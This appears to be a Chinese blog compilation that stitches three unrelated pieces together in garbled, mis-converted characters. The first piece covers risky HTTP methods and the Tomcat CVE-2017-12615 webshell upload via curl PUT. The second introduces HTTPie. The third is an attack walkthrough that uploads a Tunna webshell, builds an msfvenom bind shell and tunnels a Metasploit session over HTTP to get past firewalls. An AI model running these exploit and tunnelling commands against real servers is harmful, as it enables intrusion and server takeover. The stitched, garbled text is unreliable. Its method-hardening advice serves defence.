为何要禁止除GET和POST以外的HTTP方法？

所以，有必要说明一下，为何要禁止除GET和POST以外的HTTP方法。

换句话说，对于这些HTTP不安全方法，到底有多不安全呢？

1、HTTP请求方法有哪些

根据HTTP标准，HTTP请求可使用多种方法，其功能描述以下所示。

HTTP1.0定义了三种请求方法： GET、POST、HEAD

HTTP1.1新增了五种请求方法：OPTIONS、PUT、DELETE、TRACE 、CONNECT

2、举例说明不安全的HTTP方法

众所周知，GET、POST是最为常见方法，并且大部分主流网站只支持这两种方法，由于它们已能知足功能需求。其中，GET方法主要用来获取服务器上的资源，而POST方法是用来向服务器特定URL的资源提交数据。而其它方法出于安全考虑被禁用，因此在实际应用中，九成以上的服务器都不会响应其它方法，并抛出404或405错误提示。如下列举几个HTTP方法的不安全性：

一、OPTIONS方法，将会形成服务器信息暴露，如中间件版本、支持的HTTP方法等。

二、PUT方法，因为PUT方法自身不带验证机制，利用PUT方法便可快捷简单地入侵服务器，上传Webshell或其余恶意文件，从而获取敏感数据或服务器权限。

三、DELETE方法，利用DELETE方法能够删除服务器上特定的资源文件，形成恶意攻击。

3、漏洞验证

（一）环境搭建

一、测试环境为：WIN10 64位、Tomcat 7.0.7二、curl 7.49

二、在Tomcat 7默认配置中，web.xml文件的org.apache.catalina.servlets.DefaultServlet的

readonly参数默认是true，即不容许DELETE和PUT操做，因此经过PUT或DELETE方法访问，就会报403错误。为配合测试，把readonly参数设为false。

（二）漏洞利用

一、PUT上传和DELETE删除文件成功

在DefaultServlet的readonly参数为falsed的状况下，使用Curl进行测试，发现已能经过PUT上传和DELETE删除文件。

二、直接PUT上传.jsp失败

此时想直接上传webshell.jsp，但发现上传失败。

研究发现，缘由是在默认配置下，涉及jsp、jspx后缀名的请求由org.apache.jasper.servlet.JspServlet处理，除此以外的请求才由org.apache.catalina.servlets.DefaultServlet处理。

刚才将DefaultServlet的readonly设置为false，并不能对jsp和jspx生效。所以，当PUT上传jsp和jspx文件时，Tomcat用JspServlet来处理请求，而JspServlet中没有PUT上传的逻辑，因此会403报错。

三、利用漏洞成功上传WebShell

对于不能直接上传WebShell的问题，通常的思路是经过解析漏洞来解决，而很多中间件版本如IIS 六、TOMCAT 7等都出现过相关的漏洞。

在此测试环境中，利用Tomcat 7的任意文件上传漏洞（CVE-2017-12615）来实现目的，该漏洞经过构造特殊后缀名，绕过tomcat检测，让它用DefaultServlet的逻辑处理请求，从而上传jsp文件。具体来讲，主要有三种方法，好比shell.jsp%20 、shell.jsp::$DATA 、shell.jsp/

本次测试，使用第一种方法，在1.jsp后面加上%20，如此便可成功实现上传，并取得WebShell。

curl -X PUT http://127.0.0.1:8080/examples/1.jsp%20 -d “HelloJSP”

而后就直接挂马了，从下图能够看到成功上传webshell.jsp，并成功实现对服务器的控制。

 

4、如何自纠自查

从上面的Tomcat测试能够发现，虽然需在DefaultServlet的readonly参数为false前提下，才能实现渗透，但仍是建议把除了GET、POST的HTTP方法禁止，有两方面缘由：

一、除GET、POST以外的其它HTTP方法，其刚性应用场景较少，且禁止它们的方法简单，即实施成本低；

二、一旦让低权限用户能够访问这些方法，他们就可以以此向服务器实施有效攻击，即威胁影响大。

写到这里，也许你们都明白了，为何要禁止除GET和POST外的HTTP方法，一是由于GET、POST已能知足功能需求，二是由于不由止的话威胁影响大。

自纠自查方面，可使用OPTIONS方法遍历服务器使用的HTTP方法。但要注意的是，不一样目录中激活的方法可能各不相同。并且许多时候，虽然反馈某些方法有效，但实际上它们并不能使用。许多时候，即便OPTIONS请求返回的响应中没有列出某个方法，但该方法仍然可用。总的来讲，建议手动测试每个方法，确认其是否可用。

具体方法，举例说明，使用curl测试：

一、测试OPTIONS是否响应，并是否有 Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS

curl -v -X OPTIONS http://www.test.com/test/

二、测试是否能经过PUT上传文件

curl -X PUT http://www.test.com/test/test.html -d “test”

三、找一个存在的文件，如test.txt，测试是否能删除

curl -X DELETE http://www.example.com/test/test.text

HTTP命令行工具——HTTPie

Httpie 是什么

Httpie （aych-tee-tee-pie）是一个 HTTP 的命令行客户端。其目标是让 CLI 和 web 服务之间的交互尽量的人性化。你能够用它很方便的用 http 的命令调试接口，最经常使用的应该就是 GET 和 POST 了。

接口是什么

举个简单形象的例子，若是有一家宠物店卖动物口粮，好比猫粮狗粮，那么出售粮食就是一个接口，来的是猫就卖猫粮，来的是狗卖狗粮，之后来个什么鸡鸭鱼之类的只要修改一下这个出售粮食的方法便可。

若是没有接口，那么就要写好对猫怎么作，对狗怎么作，并且之后对鸡鸭鱼这些来了还要从新写对鸡怎么作等等等等……简而言之，接口可让程序便于变化。

为何要调试接口

最终的目的就是使接口稳定，没有 bug 。通常来讲除了最基础的正常使用功能以外，还须要测试临界时的状况，好比说对处于可输入数据范围边界上的数据是否可以处理；还有性能测试，这部分就是使用资源的状况，接口响应时间等。

关于 Httpie

特色：
一、直观的语法
二、格式化和色彩化的终端输出
三、内置 JSON 支持
四、支持上传表单和文件
五、HTTPS、代理和认证支持
六、支持任意请求数据
七、自定义标题
八、持久性会话
九、类 Wget 下载
十、支持 Python 2.6, 2.7 和 3.x
十一、支持 Linux, Mac OS X 和 Windows
十二、插件
1三、文档
1四、测试覆盖率

Curl VS Httpie

咱们首先用一张图来进行比对 Httpie 与 curl :

curl 的使用方法

curl -X METHOD -H HEADER -i

后面的-i是表示显示返回消息的头部，若是你使用 cURL 访问 OpenStack，那么这个选项在获取 UUID 类型的 token 时必不可少。而后建立请求消息体，在使用 curl 来发送消息，会返回 json 消息体，但返回的 json 消息体比较混乱，不便阅读，若是想从返回的 json 消息体中获取一下信息是比较困难的。

 

Httpie的使用方法

HTTPie 基于 python 编写，内部使用了 Requests 和 Pygments 库。

HTTPie 的用法要比 cURL 直观不少，没有那么多选项，基本上内心怎么想就怎么写，默认输入和输出都是 json 格式 (而 cURL 必需要指定 -H “Content-Type: application/json”)。咱们一样实现上面获取 token 的功能，效果以下:

很明显的能看出，使用 Httpie 所获得的结果结构的清晰明了，它对返回的结果自动作了高亮和格式化。

 

经过HTTP进行交互式绑定

介绍

当咱们仅仅利用现有的网络服务器，而且须要一个交互式shell时，因为网络没有开放端口，惟一的办法是经过web服务器上的http端口进行操做，即利用现有的网络服务器在HTTP内部传输流量。

 

关于这个问题以前有一些混乱的解决方案，有些甚至是靠运气开放的端口。所以，咱们须要的是一种更通用的方法，每次使用webshell时均可以使用。

咱们首先开始编写工具webtunfwd，它负责在咱们攻击的机器上的本地端口上监听，当咱们链接到本地端口时，它会将内容socket.recv发送到具备POST请求的web服务器。而后，网络服务器将接收该POST请求内发送的任何内容，并将其送入受害者的套接字链接。

 

下图是来自Tunna项目的github：

下面是该过程的一个简单介绍：

 

• 攻击者上传webtunfwd.php到受害者服务器victim:80/webtunfwd.php

• 攻击者上传恶意软件或监听的meterpreter bindshell localhost:20000

• 受害者正在被监听localhost:20000

• webtunfwd.php?broker链接到localhost:20000并保持链接打开

• webtunfwd.php?broker从套接字读取并将其写入咱们将调用的临时文件out.tmp

• webtunfwd.php?broker从咱们将调用的tempfile中读取in.tmp并写入套接字

 

如今咱们的webtunfwd.php?broker已经在受害方处理了套接字链接，并一直保持打开状态。咱们如今须要分别从两个文件in.tmp和out.tmp中读取数据到咱们使用的攻击机器。

 

下面是由咱们的python脚本处理的local.py：

 

• 攻击者local.py在他的监听端口的机器上运行localhost:11337

• 攻击者链接到meterpreter客户端localhost:11337

• 当local.py接收链接时，它建立2个线程。一个用于阅读，另外一个用于写做

• 读取的线程从套接字读取并经过in.tmp建立带有数据的POST请求写入webtunfwd.php?write

• 写入线程out.tmp经过建立GET请求webtunfwd.php?read并写入套接字来读取数据

 

所以，经过此代码，咱们如今能够经过HTTP进行动态端口转发，而且能够在咱们想要的服务器上运行任何有效负载。

咱们须要作的第一件事就是克隆git仓库，在攻击的机器上运行：git clone https://github.com/SECFORCE/Tunna

 

在这个项目中咱们有不少文件。咱们将要使用的是proxy.py，而后是webshells，为了让Tunna工做，首先要上传webshell到webshells文件夹中，咱们会发现conn.aspx-使用正在利用的漏洞将webshell送到机器上，如今咱们将conn.aspx放置在http://victim.com/conn.aspx。

 

Tunna已经安装并可使用。

生成有效载荷

 

咱们如今要经过metasploit来生成后门（backdoor），这是一个简单的shell。这个shell将会监听localhost:12000哪些多是本地主机上的任何端口，由于咱们将经过它链接到它Tunna。

 

因为咱们想在运行ASPX的Windows服务器上运行咱们的shell，所以咱们将使用ASPX格式构建咱们的后门程序MSFVENOM。

 

咱们使用如下命令：

msfvenom --platform Windows -a x64 -p windows/x64/shell/bind_tcp LPORT=12000 LHOST=127.0.0.1 -f aspx --out shell.aspx

 

这其中：

 

• --platform 目标平台

• -a 目标架构

• -p 有效负载使用

• LPORT 在目标上监听什么端口

• LHOST 咱们正在监听的IP地址

• -f 有效载荷的输出格式

• --out 在哪里保存文件

 

运行这个命令后，咱们如今已经有了shell.aspx。

 

因此如今咱们假设有如下两个文件可用：

http://victim.com/conn.aspxhttp://victim.com/shell.aspx

                                                        发起攻击

Tunna被上传到服务器，咱们的后门也准备好了，一切都安装好了以后就能够开始发起攻击。

 

咱们要作的第一件事就是访问http://victim.com/shell.aspx，如今能够看到咱们的shell在运行后在攻击机器上监听端口12000netstat -na：

 

下面有两项操做来实现链接，第一个是咱们来自Tunna的proxy.py，第二个是咱们用于链接的metasploit控制台。

 

首先，咱们使用如下命令将本地端口10000转发到远程主机上的端口12000：

python proxy.py -u http://target.com/conn.aspx -l 10000 -r 12000 -v --no-socks

 

这其中：

 

• -u - 带有上传的webshell路径的目标网址

• -l - 在攻击机器上侦听的本地端口

• -r - 在受害者机器上链接的远程端口

• -v - 详细

• --no-socks - 只须要端口转发

 

当它等待链接时，输出将以下所示：

攻击机器如今在端口10000上进行本地监听，咱们能够经过metasploit链接到它。

 

为了作到这一点，咱们能够按照如下方式配置metasploit：

以后，咱们进入run。如今能够获得一个shell：

结论

 

用HTTP封装完整的TCP链接能够避开严格的防火墙等，咱们能够用想要的任何东西来代替正常的shell，Tunna只是为咱们转发端口而已。

 

 

 

更多：

cURL vs HTTPie on the Command Line for HTTP APIs： https://www.ctl.io/developers/blog/post/curl-vs-httpie-http-apis\